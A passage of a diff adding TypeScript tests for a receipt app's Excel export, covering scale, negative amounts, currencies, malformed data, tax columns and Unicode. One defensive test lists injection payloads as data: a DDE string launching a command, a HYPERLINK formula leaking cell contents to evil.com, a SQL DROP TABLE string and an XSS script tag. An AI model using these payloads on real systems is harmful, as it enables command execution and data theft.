updatedAt: "2026-08-15T12:00:00Z",
|
||||
status: "ready",
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const failedItem = engine.queue.find((i) => i.fileName === "fail_first.jpg");
|
||||
expect(failedItem?.status).toBe("error");
|
||||
expect(failedItem?.error).toBe("Temporary 503 Overloaded");
|
||||
|
||||
// Retry item
|
||||
engine.retryItem(failedItem!.id);
|
||||
expect(failedItem?.status).toBe("queued");
|
||||
expect(failedItem?.error).toBeUndefined();
|
||||
|
||||
// Run scheduler again
|
||||
await engine.runScheduler(async (file) => {
|
||||
return {
|
||||
success: true,
|
||||
receipt: {
|
||||
id: `rcpt-${file.name}-retried`,
|
||||
merchant: { name: "Merchant", address: null, taxId: null, confidence: 0.9 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.9 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: null,
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 15.0, confidence: 0.95 },
|
||||
netAmount: 12.61,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 2.39, netAmount: 12.61 }],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, reviewField: "none", reviewReason: null },
|
||||
imageHash: `hash-${file.name}`,
|
||||
originalFileName: file.name,
|
||||
fileSizeBytes: file.size,
|
||||
createdAt: "2026-08-15T12:00:00Z",
|
||||
updatedAt: "2026-08-15T12:00:00Z",
|
||||
status: "ready",
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
expect(failedItem?.status).toBe("success");
|
||||
expect(engine.getStats().successCount).toBe(2);
|
||||
expect(engine.getStats().errorCount).toBe(0);
|
||||
});
|
||||
|
||||
test("ADV-M1.7: Duplicate file signatures in single batch or sequential batches are deduplicated by fileName & size", () => {
|
||||
const file1 = createMockFile("receipt_photo.jpg", 12345, "image/jpeg");
|
||||
const file1Duplicate = createMockFile("receipt_photo.jpg", 12345, "image/jpeg");
|
||||
const file2DifferentSize = createMockFile("receipt_photo.jpg", 99999, "image/jpeg");
|
||||
|
||||
engine.addFiles([file1, file1Duplicate]);
|
||||
expect(engine.queue).toHaveLength(1);
|
||||
|
||||
engine.addFiles([file2DifferentSize]);
|
||||
expect(engine.queue).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
652
tests/e2e/challenger_excel_adversarial.test.ts
Normal file
652
tests/e2e/challenger_excel_adversarial.test.ts
Normal file
@@ -0,0 +1,652 @@
|
||||
/**
|
||||
* Empirical Challenger: Adversarial Stress Test & Edge-Case Verification Suite for Excel Generator
|
||||
* Target: src/lib/export/excelGenerator.ts
|
||||
*
|
||||
* Test Dimensions:
|
||||
* 1. Extreme Scale (1,000+ line items, 1,000+ receipts, memory and formula integrity)
|
||||
* 2. Negative Financials (discounts, stornos, Pfand refunds, [Red] formatting, algebraic sign consistency)
|
||||
* 3. Multi-Currency Heterogeneity (EUR, USD, CHF, GBP, JPY, CAD, lowercase, whitespace, symbols, empty)
|
||||
* 4. Missing / Malformed / Corrupted Data Objects (undefined/null properties, malformed dates, NaN/Infinity)
|
||||
* 5. High-Dimensional Dynamic Tax Rates (0%, 2.5%, 3.8%, 7%, 8.1%, 10%, 13%, 19%, 20%, 25%, >26 columns Z -> AA)
|
||||
* 6. Unicode, Emojis, RTL, Special Characters & Formula Injection Strings
|
||||
* 7. Dynamic Conditional Columns (Trinkgeld/Tips and Hospitality/Bewirtung visibility)
|
||||
* 8. Strict Round-Trip ExcelJS Buffer Parsing & Formula Syntax Verification
|
||||
*/
|
||||
|
||||
import ExcelJS from "exceljs";
|
||||
import { describe, test, expect } from "./runner";
|
||||
import { generateDualSheetExcel, ExcelExportOptions } from "../../src/lib/export/excelGenerator";
|
||||
import { ProcessedReceipt, LineItem, TaxBreakdownItem } from "../../src/lib/schema/receipt";
|
||||
|
||||
// Helper to construct a base valid receipt
|
||||
function createMockReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id: `rec-${Math.random().toString(36).slice(2, 9)}`,
|
||||
merchant: { name: "Test Merchant GmbH", address: "Musterstraße 1, 10115 Berlin", taxId: "DE123456789", confidence: 0.98 },
|
||||
date: { isoDate: "2026-08-16", time: "14:30", confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "REC-2026-001",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 119.00, confidence: 0.99 },
|
||||
netAmount: 100.00,
|
||||
tipAmount: null,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.00, netAmount: 100.00 },
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Standard Item 1", quantity: 1, unitPrice: 100.00, price: 100.00, taxRate: 19 },
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
userConfirmed: false,
|
||||
},
|
||||
imageHash: "hash-test-001",
|
||||
originalFileName: "receipt.jpg",
|
||||
fileSizeBytes: 204800,
|
||||
createdAt: "2026-08-16T14:30:00.000Z",
|
||||
updatedAt: "2026-08-16T14:30:00.000Z",
|
||||
status: "ready",
|
||||
...overrides,
|
||||
} as ProcessedReceipt;
|
||||
}
|
||||
|
||||
// Helper to parse buffer back into ExcelJS Workbook
|
||||
async function parseExcelBuffer(buffer: Buffer): Promise<ExcelJS.Workbook> {
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buffer as unknown as ArrayBuffer);
|
||||
return wb;
|
||||
}
|
||||
|
||||
describe("Adversarial Excel: 1. Extreme Scale & Workloads (1,000+ Items)", () => {
|
||||
test("SCALE-1: 1,000 receipts with 1 line item each generates and parses cleanly in < 3s", async () => {
|
||||
const receipts: ProcessedReceipt[] = [];
|
||||
for (let i = 1; i <= 1000; i++) {
|
||||
receipts.push(
|
||||
createMockReceipt({
|
||||
id: `rec-scale-${i}`,
|
||||
receiptNumber: `NO-${i}`,
|
||||
merchant: { name: `Merchant ${i}`, address: null, taxId: `DE${100000 + i}`, confidence: 0.9 },
|
||||
totalAmount: { value: 10.0 + (i % 50), confidence: 0.95 },
|
||||
netAmount: 8.4 + ((i % 50) * 0.84),
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.6 + ((i % 50) * 0.16), netAmount: 8.4 }],
|
||||
lineItems: [{ description: `Item ${i}`, quantity: 1, unitPrice: 10.0 + (i % 50), price: 10.0 + (i % 50), taxRate: 19 }],
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
const t0 = performance.now();
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const duration = performance.now() - t0;
|
||||
|
||||
expect(Buffer.isBuffer(buffer)).toBe(true);
|
||||
expect(buffer.length).toBeGreaterThan(50000); // Realistic workbook size > 50KB
|
||||
expect(duration).toBeLessThan(3500); // Must generate quickly
|
||||
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const overviewSheet = wb.getWorksheet("Belegübersicht");
|
||||
const lineItemSheet = wb.getWorksheet("Einzelpositionen Detail");
|
||||
|
||||
expect(overviewSheet).toBeDefined();
|
||||
expect(lineItemSheet).toBeDefined();
|
||||
|
||||
// Overview: 1 header + 1000 data rows + 1 total row = 1002 rows
|
||||
expect(overviewSheet!.rowCount).toBe(1002);
|
||||
// Line items: 1 header + 1000 item rows = 1001 rows
|
||||
expect(lineItemSheet!.rowCount).toBe(1001);
|
||||
|
||||
// Verify last data row live formula syntax
|
||||
// Overview standard columns: 1: Nr, 2: Date, 3: Merchant, 4: Cat, 5: DocType, 6: RecNo, 7: Net, 8: MwSt 7%, 9: MwSt 19%, 10: Gross, 11: Currency, 12: MwSt gesamt, 13: Netto rechnerisch
|
||||
const row1001 = overviewSheet!.getRow(1001);
|
||||
const taxTotalCell = row1001.getCell(12).value as { formula?: string };
|
||||
const netCalcCell = row1001.getCell(13).value as { formula?: string };
|
||||
expect(taxTotalCell.formula).toBe("SUM(H1001:I1001)");
|
||||
expect(netCalcCell.formula).toBe("J1001-L1001");
|
||||
});
|
||||
|
||||
test("SCALE-2: Single receipt with 1,500 line items generates and maps correctly", async () => {
|
||||
const items: LineItem[] = [];
|
||||
let grossSum = 0;
|
||||
for (let i = 1; i <= 1500; i++) {
|
||||
const price = Math.round((1.5 + (i * 0.05)) * 100) / 100;
|
||||
grossSum += price;
|
||||
items.push({
|
||||
description: `High volume item #${i}`,
|
||||
quantity: i % 5 + 1,
|
||||
unitPrice: price,
|
||||
price: price,
|
||||
taxRate: 19,
|
||||
});
|
||||
}
|
||||
|
||||
const receipt = createMockReceipt({
|
||||
id: "rec-heavy-lines",
|
||||
totalAmount: { value: Math.round(grossSum * 100) / 100, confidence: 0.99 },
|
||||
netAmount: Math.round((grossSum / 1.19) * 100) / 100,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: Math.round((grossSum - grossSum / 1.19) * 100) / 100, netAmount: Math.round((grossSum / 1.19) * 100) / 100 }],
|
||||
lineItems: items,
|
||||
});
|
||||
|
||||
const buffer = await generateDualSheetExcel([receipt]);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
|
||||
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
||||
expect(lineSheet.rowCount).toBe(1501); // 1 header + 1500 line items
|
||||
|
||||
// Check first and last line item rows
|
||||
// Col 1: receiptIdx, Col 4: description
|
||||
const firstRow = lineSheet.getRow(2);
|
||||
expect(firstRow.getCell(1).value).toBe(1);
|
||||
expect(firstRow.getCell(4).value).toBe("High volume item #1");
|
||||
|
||||
const lastRow = lineSheet.getRow(1501);
|
||||
expect(lastRow.getCell(1).value).toBe(1);
|
||||
expect(lastRow.getCell(4).value).toBe("High volume item #1500");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Adversarial Excel: 2. Negative Financials, Discounts & Pfand Refunds", () => {
|
||||
test("NEG-1: Negative total amounts (stornos/credit notes) format with [Red] numFmt and algebraic totals", async () => {
|
||||
const receipts = [
|
||||
createMockReceipt({
|
||||
id: "rec-pos",
|
||||
totalAmount: { value: 100.0, confidence: 0.99 },
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }],
|
||||
}),
|
||||
createMockReceipt({
|
||||
id: "rec-storno",
|
||||
merchant: { name: "Retoure & Gutschrift", address: null, taxId: null, confidence: 0.9 },
|
||||
totalAmount: { value: -40.0, confidence: 0.99 },
|
||||
netAmount: -33.61,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: -6.39, netAmount: -33.61 }],
|
||||
}),
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
// Col 7: Net, Col 10: Gross
|
||||
const row3 = sheet.getRow(3);
|
||||
const netCell = row3.getCell(7);
|
||||
const grossCell = row3.getCell(10);
|
||||
|
||||
expect(netCell.value).toBe(-33.61);
|
||||
expect(grossCell.value).toBe(-40.0);
|
||||
|
||||
// Number format must include [Red] for negative visual styling
|
||||
expect(netCell.numFmt.includes("[Red]")).toBe(true);
|
||||
expect(grossCell.numFmt.includes("[Red]")).toBe(true);
|
||||
|
||||
// Grand total row formula (Row 4, Col 10: Gross)
|
||||
const totalRow = sheet.getRow(4);
|
||||
const grossTotalCell = totalRow.getCell(10).value as { formula?: string };
|
||||
expect(grossTotalCell.formula).toBe("SUM(J2:J3)");
|
||||
});
|
||||
|
||||
test("NEG-2: Line items with negative Pfand / voucher discounts render without failure", async () => {
|
||||
const receipt = createMockReceipt({
|
||||
id: "rec-pfand",
|
||||
lineItems: [
|
||||
{ description: "Mineralwasser Kiste", quantity: 1, unitPrice: 5.99, price: 5.99, taxRate: 19 },
|
||||
{ description: "Leergutrückgabe / Pfand", quantity: 1, unitPrice: -3.30, price: -3.30, taxRate: 19 },
|
||||
{ description: "Aktionsgutschein Rabatt", quantity: 1, unitPrice: -1.50, price: -1.50, taxRate: 19 },
|
||||
],
|
||||
totalAmount: { value: 1.19, confidence: 0.99 },
|
||||
netAmount: 1.00,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 0.19, netAmount: 1.00 }],
|
||||
});
|
||||
|
||||
const buffer = await generateDualSheetExcel([receipt]);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
||||
|
||||
expect(lineSheet.rowCount).toBe(4); // 1 header + 3 items
|
||||
// Col 4: Description, Col 8: Line Total Price
|
||||
const pfandRow = lineSheet.getRow(3);
|
||||
expect(pfandRow.getCell(4).value).toBe("Leergutrückgabe / Pfand");
|
||||
expect(pfandRow.getCell(8).value).toBe(-3.30);
|
||||
expect(pfandRow.getCell(8).numFmt.includes("[Red]")).toBe(true);
|
||||
|
||||
const discountRow = lineSheet.getRow(4);
|
||||
expect(discountRow.getCell(8).value).toBe(-1.50);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Adversarial Excel: 3. Multi-Currency Heterogeneity & Breakdown Matrix", () => {
|
||||
test("CURR-1: Single currency EUR includes (€) suffix and standard SUM total", async () => {
|
||||
const receipts = [
|
||||
createMockReceipt({ currency: "EUR", totalAmount: { value: 50.0, confidence: 0.99 } }),
|
||||
createMockReceipt({ currency: "EUR", totalAmount: { value: 30.0, confidence: 0.99 } }),
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
// Header Col 7: Net
|
||||
const netHeader = sheet.getRow(1).getCell(7).value;
|
||||
expect(String(netHeader)).toContain("(€)");
|
||||
|
||||
// Grand total row: Col 3 is Merchant label, Col 10 is Gross Total, Col 11 is Currency
|
||||
const totalRow = sheet.getRow(4);
|
||||
expect(totalRow.getCell(3).value).toBe("GESAMTSUMME");
|
||||
const grossTotal = totalRow.getCell(10).value as { formula?: string };
|
||||
expect(grossTotal.formula).toBe("SUM(J2:J3)");
|
||||
expect(totalRow.getCell(11).value).toBe("EUR");
|
||||
});
|
||||
|
||||
test("CURR-2: Single non-EUR currency (USD) applies USD code in headers, formatting and total", async () => {
|
||||
const receipts = [
|
||||
createMockReceipt({ currency: "USD", totalAmount: { value: 45.0, confidence: 0.99 } }),
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
const netHeader = sheet.getRow(1).getCell(7).value;
|
||||
expect(String(netHeader)).toContain("(USD)");
|
||||
|
||||
const totalRow = sheet.getRow(3);
|
||||
expect(totalRow.getCell(11).value).toBe("USD");
|
||||
});
|
||||
|
||||
test("CURR-3: Mixed currencies (EUR, USD, CHF, GBP, JPY) disables blind sum and generates SUMIFS matrix", async () => {
|
||||
const receipts = [
|
||||
createMockReceipt({ currency: "EUR", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 100.0, confidence: 0.99 } }),
|
||||
createMockReceipt({ currency: "USD", suggestedCategory: "Bürobedarf & IT", totalAmount: { value: 200.0, confidence: 0.99 } }),
|
||||
createMockReceipt({ currency: "CHF", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 150.0, confidence: 0.99 } }),
|
||||
createMockReceipt({ currency: "GBP", suggestedCategory: "Sonstiges", totalAmount: { value: 50.0, confidence: 0.99 } }),
|
||||
createMockReceipt({ currency: "JPY", suggestedCategory: "Bewirtung", totalAmount: { value: 5000.0, confidence: 0.99 } }),
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
// Header Col 7: Net must NOT have a single currency suffix
|
||||
const netHeader = String(sheet.getRow(1).getCell(7).value);
|
||||
expect(netHeader.endsWith("(€)")).toBe(false);
|
||||
expect(netHeader.endsWith("(USD)")).toBe(false);
|
||||
|
||||
// Total row merchant cell (Col 3) has mixed notice
|
||||
const totalRow = sheet.getRow(7);
|
||||
expect(String(totalRow.getCell(3).value)).toContain("mehrere Währungen");
|
||||
// Mixed currency MUST NOT sum across currencies in the main table row
|
||||
expect(totalRow.getCell(10).value).toBeNull();
|
||||
|
||||
// Verify Category Summary block (placed to the right of the main table)
|
||||
// Summary headers should start at column (lastCol + 2)
|
||||
let summaryCol = -1;
|
||||
sheet.getRow(1).eachCell((cell, colNumber) => {
|
||||
if (cell.value === "Auswertung je Kategorie" || cell.value === "Kategorie") {
|
||||
summaryCol = colNumber;
|
||||
}
|
||||
});
|
||||
expect(summaryCol).toBeGreaterThan(10);
|
||||
|
||||
// Check that SUMIFS is used for mixed currency category rows
|
||||
const summaryDataRow = sheet.getRow(2);
|
||||
const countFormula = summaryDataRow.getCell(summaryCol + 2).value as { formula?: string };
|
||||
expect(countFormula.formula).toContain("COUNTIFS(");
|
||||
|
||||
const sumFormula = summaryDataRow.getCell(summaryCol + 3).value as { formula?: string };
|
||||
expect(sumFormula.formula).toContain("SUMIFS(");
|
||||
});
|
||||
|
||||
test("CURR-4: Unusual and unsanitized currency strings (lowercase, whitespace, symbols, empty)", async () => {
|
||||
const receipts = [
|
||||
createMockReceipt({ currency: " usd " as any }),
|
||||
createMockReceipt({ currency: "eur" as any }),
|
||||
createMockReceipt({ currency: "" as any }),
|
||||
createMockReceipt({ currency: undefined as any }),
|
||||
createMockReceipt({ currency: "$$$" as any }),
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
// Currency values in data rows: Col 11 is currency
|
||||
expect(sheet.getRow(2).getCell(11).value).toBe("USD");
|
||||
expect(sheet.getRow(3).getCell(11).value).toBe("EUR");
|
||||
expect(sheet.getRow(4).getCell(11).value).toBe("EUR"); // empty string defaults to EUR
|
||||
expect(sheet.getRow(5).getCell(11).value).toBe("EUR"); // undefined defaults to EUR
|
||||
expect(sheet.getRow(6).getCell(11).value).toBe("$$$");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Adversarial Excel: 4. Missing, Null, Undefined & Malformed Objects", () => {
|
||||
test("DEF-1: Completely empty or corrupted receipt objects do not throw exceptions", async () => {
|
||||
const dirtyReceipts: any[] = [
|
||||
{},
|
||||
{ id: "empty-1" },
|
||||
{ merchant: null, date: null, totalAmount: null, lineItems: null, taxBreakdown: null },
|
||||
{ merchant: { name: undefined, taxId: undefined }, totalAmount: { value: undefined } },
|
||||
null,
|
||||
undefined,
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(dirtyReceipts);
|
||||
expect(Buffer.isBuffer(buffer)).toBe(true);
|
||||
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const overview = wb.getWorksheet("Belegübersicht")!;
|
||||
const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;
|
||||
|
||||
expect(overview).toBeDefined();
|
||||
expect(lineItems).toBeDefined();
|
||||
// 4 non-null receipts + 1 header + 1 total = 6 rows in overview
|
||||
expect(overview.rowCount).toBe(6);
|
||||
});
|
||||
|
||||
test("DEF-2: Date edge cases (invalid strings, leap years, non-ISO formats)", async () => {
|
||||
const receipts = [
|
||||
createMockReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.9 } }), // valid
|
||||
createMockReceipt({ date: { isoDate: "2024-02-29", time: null, confidence: 0.9 } }), // leap year valid
|
||||
createMockReceipt({ date: { isoDate: "2026-02-29", time: null, confidence: 0.9 } }), // 2026 leap day invalid -> kept as text
|
||||
createMockReceipt({ date: { isoDate: "15.08.2026", time: null, confidence: 0.9 } }), // German format -> text
|
||||
createMockReceipt({ date: { isoDate: "not-a-date", time: null, confidence: 0.9 } }), // invalid -> text
|
||||
createMockReceipt({ date: null as any }), // null -> text ""
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
// Col 2: Date
|
||||
// Row 2: valid Date object
|
||||
const cellValid = sheet.getRow(2).getCell(2);
|
||||
expect(cellValid.value instanceof Date).toBe(true);
|
||||
expect(cellValid.numFmt).toBe("DD.MM.YYYY");
|
||||
|
||||
// Row 3: valid leap year 2024 Date object
|
||||
const cellLeap = sheet.getRow(3).getCell(2);
|
||||
expect(cellLeap.value instanceof Date).toBe(true);
|
||||
|
||||
// Row 4: invalid 2026-02-29 preserved as raw string
|
||||
const cellInvalidLeap = sheet.getRow(4).getCell(2);
|
||||
expect(typeof cellInvalidLeap.value).toBe("string");
|
||||
expect(cellInvalidLeap.value).toBe("2026-02-29");
|
||||
|
||||
// Row 5: German dot format preserved as text
|
||||
const cellDot = sheet.getRow(5).getCell(2);
|
||||
expect(cellDot.value).toBe("15.08.2026");
|
||||
|
||||
// Row 6: invalid string preserved
|
||||
const cellText = sheet.getRow(6).getCell(2);
|
||||
expect(cellText.value).toBe("not-a-date");
|
||||
|
||||
// Row 7: null preserved as empty string
|
||||
const cellNull = sheet.getRow(7).getCell(2);
|
||||
expect(cellNull.value).toBe("");
|
||||
});
|
||||
|
||||
test("DEF-3: Completely empty dataset [] produces valid workbook with empty placeholder", async () => {
|
||||
const buffer = await generateDualSheetExcel([]);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
|
||||
const overview = wb.getWorksheet("Belegübersicht")!;
|
||||
const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;
|
||||
|
||||
// Overview has header row and grand total row
|
||||
expect(overview.rowCount).toBe(2);
|
||||
// Line items has header row and the 'no items' informative row
|
||||
expect(lineItems.rowCount).toBe(2);
|
||||
expect(String(lineItems.getRow(2).getCell(1).value)).toContain("keine Einzelpositionen erfasst");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Adversarial Excel: 5. High-Dimensional Dynamic Tax Rates (> 26 Columns / Z -> AA)", () => {
|
||||
test("TAX-1: Many dynamic tax rates spanning beyond 26 columns (AA, AB, AC...) with accurate SUM formulas", async () => {
|
||||
// Generate 25 distinct tax rates across receipts: 0.5%, 1%, 2% ... 25%, plus standard 7% and 19%
|
||||
const taxRatesList = [
|
||||
0.5, 1, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 7.7, 8, 8.1, 8.875, 10, 11, 12, 13, 14, 15, 16, 17, 18, 20, 21, 22, 23, 24, 25
|
||||
];
|
||||
|
||||
const receipts: ProcessedReceipt[] = taxRatesList.map((rate, idx) => {
|
||||
return createMockReceipt({
|
||||
id: `rec-tax-${idx}`,
|
||||
totalAmount: { value: 100 + rate, confidence: 0.99 },
|
||||
netAmount: 100,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: rate, taxAmount: rate, netAmount: 100 },
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
// Check column count in Overview sheet
|
||||
const headerRow = sheet.getRow(1);
|
||||
let totalCols = 0;
|
||||
headerRow.eachCell(() => totalCols++);
|
||||
|
||||
// 7 standard initial cols + 32 tax cols + gross + currency + taxTotal + netCalc + taxId + status = 45+ cols
|
||||
expect(totalCols).toBeGreaterThan(35);
|
||||
|
||||
// Verify row 2 formulas:
|
||||
// With 32 tax rates: firstTaxCol = 8 (H), lastTaxCol = 8 + 32 - 1 = 39 (AM)
|
||||
// grossCol = 40 (AN), currencyCol = 41 (AO), taxTotalCol = 42 (AP), netCalcCol = 43 (AQ)
|
||||
const row2 = sheet.getRow(2);
|
||||
const taxTotalCell = row2.getCell(42).value as { formula?: string };
|
||||
expect(taxTotalCell).toBeDefined();
|
||||
expect(taxTotalCell.formula).toBe("SUM(H2:AM2)");
|
||||
|
||||
const netCalcCell = row2.getCell(43).value as { formula?: string };
|
||||
expect(netCalcCell).toBeDefined();
|
||||
expect(netCalcCell.formula).toBe("AN2-AP2");
|
||||
});
|
||||
|
||||
test("TAX-2: Zero-tax-amount entries (taxAmount = 0) do not create redundant non-standard columns", async () => {
|
||||
const receipts = [
|
||||
createMockReceipt({
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
|
||||
{ ratePercent: 0, taxAmount: 0.0, netAmount: 50.0 }, // 0% with 0.00 tax
|
||||
{ ratePercent: 13, taxAmount: 0.0, netAmount: 10.0 }, // 13% with 0.00 tax -> must not create 13% column
|
||||
],
|
||||
}),
|
||||
];
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const sheet = wb.getWorksheet("Belegübersicht")!;
|
||||
|
||||
const headers: string[] = [];
|
||||
sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? "")));
|
||||
|
||||
// 7% and 19% standard rates must always exist
|
||||
expect(headers.some((h) => h.includes("MwSt 7 %"))).toBe(true);
|
||||
expect(headers.some((h) => h.includes("MwSt 19 %"))).toBe(true);
|
||||
// 13% with 0 tax amount should NOT create a dedicated column
|
||||
expect(headers.some((h) => h.includes("MwSt 13 %"))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Adversarial Excel: 6. Unicode, RTL, Emojis & Formula Injection Attacks", () => {
|
||||
test("SEC-1: Malicious spreadsheet formula injection strings are treated safely as raw text", async () => {
|
||||
const injectionStrings = [
|
||||
"=SUM(A1:A10)",
|
||||
"+cmd|' /C calc'!A0",
|
||||
"-@SUM(1,2)",
|
||||
"@HYPERLINK(\"http://evil.com?leak=\"&A1, \"Click Me\")",
|
||||
"=1+1",
|
||||
"'; DROP TABLE receipts; --",
|
||||
"<script>alert('xss')</script>",
|
||||
];
|
||||
|
||||
const receipts = injectionStrings.map((payload, idx) => {
|
||||
return createMockReceipt({
|
||||
id: `rec-inj-${idx}`,
|
||||
merchant: { name: payload, address: payload, taxId: payload, confidence: 0.9 },
|
||||
receiptNumber: payload,
|
||||
suggestedCategory: payload as any,
|
||||
lineItems: [
|
||||
{ description: payload, quantity: 1, unitPrice: 10.0, price: 10.0, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
|
||||
const overview = wb.getWorksheet("Belegübersicht")!;
|
||||
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
||||
|
||||
// Overview cols: 3: Merchant, 4: Category, 6: ReceiptNo
|
||||
// Line items cols: 4: Description
|
||||
injectionStrings.forEach((payload, idx) => {
|
||||
const row = overview.getRow(idx + 2);
|
||||
expect(row.getCell(3).value).toBe(payload);
|
||||
expect(row.getCell(4).value).toBe(payload);
|
||||
expect(row.getCell(6).value).toBe(payload);
|
||||
|
||||
const lineRow = lineSheet.getRow(idx + 2);
|
||||
expect(lineRow.getCell(4).value).toBe(payload);
|
||||
});
|
||||
});
|
||||
|
||||
test("SEC-2: Multilingual, RTL, CJK & Multi-byte Emoji strings preserve exact fidelity", async () => {
|
||||
const testCases = [
|
||||
{ name: "☕ Café Süß & Lecker 🥨 GmbH", cat: "🍽️ Bewirtung", item: "Cappuccino Grande ☕ & Croissant 🥐" },
|
||||
{ name: "寿司 🍣 居酒屋 東京 Tokyo", cat: "食事 🍜", item: "サーモン 刺身 盛り合わせ 🍱" },
|
||||
{ name: "مكتبة النور للكتب والقرطاسية", cat: "مستلزمات مكتبية", item: "دفتر ملاحظات وقلم فاخر ✒️" },
|
||||
{ name: "Большой театр сувениры 🎭", cat: "Культура", item: "Билет на балет 'Щелкунчик' 🎟️" },
|
||||
{ name: "Frühstückscafé 'Zur Gemütlichkeit' <Special>", cat: "Essen & Trinken", item: "100% Bio-Vollmilch & Käse-Schinken-Toast" },
|
||||
];
|
||||
|
||||
const receipts = testCases.map((tc, idx) => {
|
||||
return createMockReceipt({
|
||||
id: `rec-uni-${idx}`,
|
||||
merchant: { name: tc.name, address: null, taxId: null, confidence: 0.9 },
|
||||
suggestedCategory: tc.cat as any,
|
||||
lineItems: [{ description: tc.item, quantity: 1, unitPrice: 25.0, price: 25.0, taxRate: 19 }],
|
||||
});
|
||||
});
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
const overview = wb.getWorksheet("Belegübersicht")!;
|
||||
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
||||
|
||||
testCases.forEach((tc, idx) => {
|
||||
const row = overview.getRow(idx + 2);
|
||||
expect(row.getCell(3).value).toBe(tc.name);
|
||||
expect(row.getCell(4).value).toBe(tc.cat);
|
||||
|
||||
const lineRow = lineSheet.getRow(idx + 2);
|
||||
expect(lineRow.getCell(4).value).toBe(tc.item);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("Adversarial Excel: 7. Conditional Columns (Trinkgeld & Hospitality)", () => {
|
||||
test("COND-1: Hospitality columns appear ONLY when hospitality data is present", async () => {
|
||||
// 1. Without hospitality
|
||||
const withoutHosp = [createMockReceipt({ hospitality: undefined, documentType: "KASSENBON" })];
|
||||
const buf1 = await generateDualSheetExcel(withoutHosp);
|
||||
const wb1 = await parseExcelBuffer(buf1);
|
||||
const headers1: string[] = [];
|
||||
